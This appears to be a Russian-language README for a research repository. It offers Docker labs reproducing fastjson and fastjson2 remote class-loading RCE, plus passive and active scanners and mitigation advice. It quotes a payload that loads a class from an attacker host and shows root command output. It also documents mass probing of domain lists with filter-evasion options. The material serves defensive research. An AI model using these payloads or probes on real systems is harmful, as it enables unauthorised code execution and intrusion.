Docker-лаборатории + защитный сканер для RCE через удалённую загрузку классов fastjson. fastjson 1.2.66-1.2.83: ресурсный зонд @JSONType (CVE-2026-16723). fastjson2 2.0.57: @type атакующего достигает loadClass при ОТКЛЮЧЁННОМ autoType через полиморфные типы (@JSONType(seeAlso) / Jackson @JsonSubTypes). Только маркерные нагрузки; проверки safeMode + JDK17.
@JSONType и её детектированиеЭтот репозиторий теперь содержит два независимых направления исследований Fastjson:
modern-fd/ — рекомендуемая реконструкция только с маркером цепочки remote-JAR/файловых дескрипторов Fastjson 1.2.83 в одном теле запроса на Spring Boot 3, обычном встроенном Tomcat и JDK 17. Она использует буквальный приёмник фиксированного DTO JSON.parseObject(body, BoundEnvelope.class) с отключённым AutoType.scanner/ содержит пассивное детектирование запросов/логов, статическую инвентаризацию артефактов и неисполняющий зонд достижимости.Суть бага:
ParserConfig.checkAutoTypeпроверяет каждое значение на наличие аннотации , выполняя . На современных комбинациях Linux/JDK удалённый зонд может оставить JAR закэшированным за открытым дескриптором; последующие зонды в том же теле могут переоткрыть его под допустимыми именами классов и инициализировать аннотированный класс. Точная композиция 1.2.83 работает с и через фиксированный DTO, содержащий . Поэтому одно лишь связывание не является смягчением. Полный разбор: .
@type@JSONTypegetResourceAsStream(typeName.replace('.','/') + ".class")jar:httpjar:file:/proc/self/fd/NList<Object>Сопутствующий обзор всего проекта охватил 2 041 строку вызываемых/статических инициализаторов во всех 193 производственных Java-файлах Fastjson 1.2.83. В таблице ниже приоритизированы результаты с наибольшим влиянием; это не утверждение, что каждое развёртывание Fastjson затронуто. Данный репозиторий напрямую воспроизводит F105. Остальные записи обобщают отдельно опечатанный обзор исходного кода и ограниченные лабораторные доказательства.
| Приоритет | Находка | Доказанный результат | Важная граница |
|---|---|---|---|
| 1 | F105 — удалённое исполнение байткода через @JSONType | Инициализация класса, предоставленного атакующим, через совместимые загрузчики Spring Boot, включая прямой маршрут JDK 8 и продолжение Linux/JDK 17 с удержанным JAR через /proc/self/fd/N | Требуется достижимый для парсера носитель @type, совместимый загрузчик Boot/TCCL, исходящий доступ, отключённые SafeMode/IgnoreAutoType и точный JAR атакующего. Современный маршрут с фиксированным DTO дополнительно требует канал обобщённых значений (в лаборатории используется List<Object>), procfs в Linux, удержанный дескриптор и точное совпадение имён; не универсален для всех JDK, загрузчиков и ОС |
| 2 | F1/F45 — исполнение команд через TemplatesImpl | Маркерное исполнение команд через API фиксированного DTO, включая игнорируемое свойство тела | Требуется ослабленная политика сервера: допуск классов, AutoType и заполнение приватных полей или эквивалентные пути; неизменные настройки по умолчанию блокируют это |
| 3 | F70/C016 — неограниченная буферизация и расширение GZIP | Типизированные пути byte/InputStream и аннотированного DTO расширяются или буферизуются без ограничения вывода; воспроизведён OOME Java при ограниченной куче | Требуются достижимость конечной точки/схемы и байтов атакующего; массовый простой производства не установлен |
| 4 | F18/C089 — исчерпание стека потока парсера | Глубоко вложенные обычные значения объектов могут вызвать StackOverflowError при парсинге по умолчанию | Влияние на доступность потока запроса; не инвариантный сбой JVM или всего сервиса |
| 5 | F120/C162 — HTTP SSRF/загрузка локальных ресурсов при фиксированной схеме | Управляемый телом JEditorPane/JTextPane.page выполняет HTTP-запросы и может загружать ограниченное содержимое file: в состояние Document | Требуется, чтобы приложение объявляло тип Swing; автоматическая эксфильтрация ответов или RCE не доказаны |
| 6 | F118/C160 — сбой авторизации/целостности данных из-за коллизии хеша | Отдельная коллизия Unicode FNV-1a-64 может привязаться к привилегированной константе перечисления или направить мутацию JSONPath не на тот сеттер бина | Требуются рабочая коллизия и доверие ниже по цепочке или открытая операция мутации JSONPath; допуск классов или RCE не требуются |
См. findings/FINDINGS.md с метками валидации, предварительными условиями, второстепенными находками, приоритетами устранения и явными отрицательными границами.
Этот репозиторий предназначен для обучения, оборонительных исследований и авторизованного тестирования систем, которыми вы владеете или которые вам явно разрешено тестировать. Публикация хоста, когда она предусмотрена для внутренней сети современной лаборатории, допускается только на 127.0.0.1; его скрипты полностью выполняют тест внутри этой изолированной сети. В современной лаборатории нет примитива исполнения процессов — она устанавливает только фиксированный внутри-JVM маркер. Унаследованная лаборатория JDK 8 действительно исполняет id и записывает вывод в /tmp/PWNED; держите её изолированной. Не направляйте унаследованный эксплойт или активный зонд на неавторизованные системы.
Каталог scanner/ содержит четыре инструмента на Python 3 без зависимостей (без установки через pip).
fjdetect.py — пассивно проверяет декодированные тела JSON-запросов или структурированные JSON-логи на наличие затравок remote-JAR и последовательностей /proc/self/fd или /dev/fd.fjscan_static.py — инвентаризирует jars/wars/ears на предмет уязвимой комбинации (подтверждённая содержимым, проверенная по метаданным версия 1.2.83 × фактическое содержимое класса загрузчика Spring Boot). Релизы 1.2.48–1.2.82, несущие зонды, и кандидаты только по метаданным/имени файла сообщаются отдельно для рассмотрения. Удобен для CI-гейтов (код выхода 2 при EXPOSED).fjscan_probe.py — активная безопасная проверка достижимости: отправляет @type на подконтрольный вам канареечный приёмник (встроенный слушатель или Burp Collaborator / interactsh) и коррелирует callback выборки ресурса. Его встроенный слушатель возвращает пустой 404; внешние слушатели настраивайте аналогично. Callback не доказывает загрузку класса или RCE.fjpayload.py — генерирует тела выборки удалённых ресурсов для ручного тестирования; используйте только пустой слушатель или 404, если исполнение не предполагается.# 1) passive request/log inspection
python3 scanner/fjdetect.py --ndjson gateway.jsonl
# 2) inventory build artifacts / unpacked images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16
# 3) active probe across many domains — simplest: --auto fires baseline + plain + escaped comparison
# DNS probes per target and prints a rollup; DNS callbacks land in your Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -
# 4) bulk fetch payloads for manual testing (one per domain, stable correlation token)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt
domains.txt = по одной цели на строку — полный [METHOD ]URL или просто домен (разворачивается с помощью --scheme / --target-port / --path); допустимы комментарии # :
api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080
fjscan_probe.py (активный зонд)
| Флаг | По умолчанию | Назначение |
|---|---|---|
--auto | выкл. | самый простой — на каждую цель отправляет базовый + обычный + Unicode-экранированный сравнительный DNS-зонд и выводит сводку; нужен только --collaborator + --targets |
--canary-ip <ip> | — | режим встроенного слушателя; IP этого хоста, как его видит цель |
--collaborator <v> | — | внешний OOB (IPv4 / int / домен без точек / поддомен Collaborator) |
--probe-type <t> | jsontype | ручной режим: jsontype = путь выборки удалённого ресурса (целочисленный IP для jar:http); dns = OOB через Inet4Address с точечным хостом (совместимо с Collaborator); both |
--targets <file|-> | — | непустой список целей; - читает stdin (обязательно); пустой ввод или только комментарии завершаются с ненулевым кодом |
--threads N | 20 | параллельные рабочие потоки запросов |
--header 'K: V' | — | дополнительный заголовок запроса (повторяемый); по умолчанию отправляется похожий на браузерный --user-agent для репрезентативного фронтенд-запроса |
--baseline '{"a":1}' | — | также отправляет безвредное контрольное тело на каждую цель; различие ответов базовый/зонд согласуется с чувствительной к содержимому обработкой на периметре, в middleware или приложении и требует подтверждения |
--max-redirects N | 3 | следовать до N редиректов на тот же источник или стандартных апгрейдов HTTP:80→HTTPS:443 на том же хосте (0 = нет); даунгрейд HTTPS, смена произвольного порта/источника и междоменные редиректы блокируются; при апгрейде сохраняются только базовые несекретные заголовки |
--evasion {ukey,uval,both} | none | экранировать \uXXXX ключ / значение класса (fastjson всё равно его декодирует); callback только при обходе согласуется с тем, что декодированные данные зонда проходят через фильтр буквальных ключевых слов, но всё равно требует подтверждения парсером/версией |
fjscan_static.py (инвентаризация): <paths…> · --threads N (по умолчанию 8) · --json (машиночитаемый вывод; код выхода 2, если есть EXPOSED).
fjpayload.py (генератор): <collaborator> · --targets-file/-f <file\|-> (пакетный режим) · --port · --token · --wrap · --entry.
Примечание о Collaborator: приёмник
jar:в@JSONTypeвыполняетtypeName.replace('.','/'), поэтому каждая точка в хосте превращается в слэш — точечный поддомен Burp Collaborator (abc.oastify.com) через него не доставить (инструменты переходят на целочисленный IP + токен в пути URL). Чтобы получить callback во внешний Collaborator, используйте--probe-type dns: примитивjava.net.Inet4Addressпринимает точечный хост и инициирует DNS-взаимодействие (<tok>.<sub>.oastify.com), подтверждая примитив парсингаInet4Address+ исходящий доступ. Это предварительное доказательство, а не подтверждение конечной стадии remote-JAR/FD. См.scanner/README.md.
Требования: Docker + Docker Compose и исходящий доступ к Maven Central при первой сборке (для загрузки fastjson / spring-boot-loader / asm).
cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh
Позитивный сценарий отправляет одно тело в обычный поток запроса встроенного Tomcat. Его буквальный приёмник — final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class). Успех — это только фиксированное свойство и лог-токен FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1; ответ по-прежнему возвращает нормально связанный BoundEnvelope. Каталог свидетельств содержит запрос, ответ, метаданные контейнера, логи и манифест SHA-256.
Контрольные сценарии покрывают обычный JSON, кандидатов FD без затравки, затравку с последующими невозможными дескрипторами и SafeMode. См. modern-fd/README.md.
В раскрытии FearsOff показан тот же конечный этап с удержанным JAR на JDK 21 с использованием кэша, сохраняющегося в процессе, и одного кандидата FD на запрос. Современная лаборатория этого репозитория вместо этого воспроизводит композицию JDK 17 в одном теле: затравка с мягким отказом и ограниченные кандидаты FD переносятся одним запросом с фиксированным DTO. JDK 21 остаётся внешне сообщённым; это не рантайм-результат, полученный здесь.
Исходный корневой проект Compose остаётся доступным для воспроизведения более старого одноэтапного маршрута. В отличие от modern-fd/, он способен исполнять команды, и запускать его следует только в изолированной лаборатории:
make up
make exploit
make down
Ожидаемый вывод make exploit:
[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"} <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------
ClassCastException — это признак того, что связывание не является смягчением: класс атакующего выполняет свой <clinit> во время зонда @type, до того, как fastjson попытается привести его к Dto.
target/Dockerfile блокирует это унаследованное определение сконструированного имени и оставляет лишь выборку. Этот результат не проверяет и не смягчает отдельное продолжение /proc/self/fd в modern-fd/.setAutoTypeSupport(true) — проверьте баннер на http://127.0.0.1:8080/.PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker.| Путь | Назначение |
|---|---|
modern-fd/ | лаборатория FD-цепочки только с маркером на Boot 3/JDK 17 с фиксированным DTO и решающие контрольные сценарии |
scanner/ | пассивное детектирование нагрузок/логов, статическая инвентаризация и неисполняющие инструменты достижимости |
target/ | унаследованная цель JDK 8 с JSON.parseObject(body, Dto.class) под вручную выбранным загрузчиком Boot |
attacker/ | унаследованный генератор классов на JDK 8 с возможностью исполнения команд и JAR-сервер |
exploit/ | унаследованное доказательство exploit.sh |
docs/MECHANISM.md | аннотированный разбор исходного кода |
findings/FINDINGS.md | приоритизированные находки по всему проекту, предварительные условия и границы устранения |
Включите -Dfastjson.parser.safeMode=true на обычном пути без обработчиков или, если немедленная миграция невозможна, используйте сборку вендора com.alibaba:fastjson:1.2.83_noneautotype и проверьте установленные AutoTypeCheckHandler'ы. Ограничьте исходящий трафик JVM; переносите разбор недоверенных данных с Fastjson 1.x; оповещайте о декодированных затравках remote-JAR в @type и кандидатах /proc/self/fd или /dev/fd как в пределах одного запроса, так и при корреляции между запросами. Связывание DTO и JDK 9+ не являются полным смягчением для современной композиции.
fastjson2/ — вторая независимая лаборатория. fastjson2 не содержит ресурсного зонда @JSONType из fastjson 1.x. Однако он позволяет управляемому атакующим @type достичь ClassLoader.loadClass() при отключённом autoType, когда путь разбора включает полиморфный тип, — потому что конструктор ObjectReaderSeeAlso зашивает SupportAutoType, а промах seeAlso проваливается в полное разрешение autoType до выполнения проверок присваиваемости и DataSource/RowSet.
Триггеры — обычные аннотации моделирования — @JSONType(seeAlso=), Jackson @JsonSubTypes (учитывается, поскольку useJacksonAnnotation по умолчанию имеет значение true), @JsonTypeInfo, запечатанные типы. Под fat jar Spring Boot контекстный загрузчик классов разрешает имена jar:http:, поэтому класс загружается из сети и выполняется его статический инициализатор.
Воспроизведено на fastjson2 2.0.62 (последний релиз) и 2.0.57 на JDK 8. safeMode=true блокирует это; JDK 17 понижает это до SSRF; autoTypeFilter(...) не защищает. Раскрыто Chaitin (长亭), ~2026-07-25 — это не находка данного репозитория. У мейнтейнера есть открытая работа по укреплению в PR #7703 (заменяет закрытый #7695), которая отвергает : и ! в именах типов; ни один выпущенный релиз его не содержит — 2.0.62 предшествует обоим.
make fj2-safety # prove the payload is marker-only
make fj2-positive # default config -> remote class defined + initialised
make fj2-controls # plain parse / safeMode / JDK 17 / Jackson-only model / allowlist
/proc/self/fd, — которые реконструированы здесь.@JSONType / внутреннего имени jar-URL: @wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC. attacker/Gen.java повторно реализует эту технику для данной лаборатории./proc/self/fd. Они рассматривались как внешние отчёты, а не как независимое рантайм-доказательство.modern-fd/ использует независимо написанные классы только с маркером и обычную конечную точку Tomcat с фиксированным DTO.fastjson2/ — это независимое воспроизведение того раскрытия, а не оригинальная находка данного репозитория. Тред отслеживания: issue #7702 (открыт пользователем sevck); укрепление мейнтейнером в PR #7703 / закрытый #7695.safeMode и историю autoType, стоящую за CVE-2022-25845).Эта лаборатория и инструменты scanner/ упаковывают эти находки в воспроизводимый тестовый стенд и оборонительные проверки. Не аффилированы с указанными выше исследователями и не одобрены ими.
| 7 | F121/C163 — достижимость JNDI через фиксированный JdbcRowSet | Точный порядок сеттеров вызвал одно исходящее соединение JNDI/LDAP, выбранное телом | Доказательства ограничиваются соединением: нет ответа именования, объектной фабрики, загрузки байткода или RCE |
| 8 | F2/F45 — разрешение DNS по умолчанию | Управляемое атакующим разрешение имени хоста работает в конфигурации по умолчанию и через игнорируемое свойство фиксированного DTO | Только DNS/OOB-взаимодействие, не обобщённый HTTP SSRF или RCE |
@type--scheme / --target-port / --path | http / — / /parse | как разворачиваются «голые» домены |
--method | POST | HTTP-метод по умолчанию |
--wrap '{"u":{{P}}}' | {{P}} | вложить объект зонда в поле |
--listen-port / --port | 19000 / 80 | порт встроенного канареечного приёмника / порт Collaborator |
--wait / --timeout | 10 / 8 | секунды ожидания callback'ов / таймаут на запрос |